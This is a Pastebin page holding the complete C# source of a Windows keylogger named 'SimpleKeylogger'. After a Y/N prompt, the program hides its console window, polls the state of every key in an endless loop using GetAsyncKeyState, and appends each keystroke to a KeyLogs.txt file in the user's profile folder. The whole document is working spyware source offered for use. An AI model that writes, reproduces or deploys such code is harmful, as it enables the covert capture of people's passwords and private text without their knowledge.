Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Windows.Forms;
- using System.IO;
- namespace SimpleKeylogger
- {
- class Program
- {
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- static void Main(string[] args)
- {
- Console.WriteLine("Do you want to start keylogging? Y/N");
- string YesNo = Console.ReadLine();
- if (YesNo.Equals("y"))
- {
- ShowWindow(GetConsoleWindow(), 0);
- Start();
- }
- else
- {
- Console.WriteLine("Exiting...");
- Application.Exit();
- }
- }
- static void Start()
- {
- while (true)
- {
- Thread.Sleep(10);
- for (Int32 i = 0; i < 255; i++)
- {
- int keyState = GetAsyncKeyState(i);
- if (keyState == 1 || keyState == -32767)
- {
- Console.WriteLine((Keys)i);
- string toStringKeys = Convert.ToString((Keys)i);
- File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\KeyLogs.txt", Environment.NewLine + toStringKeys);
- break;
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement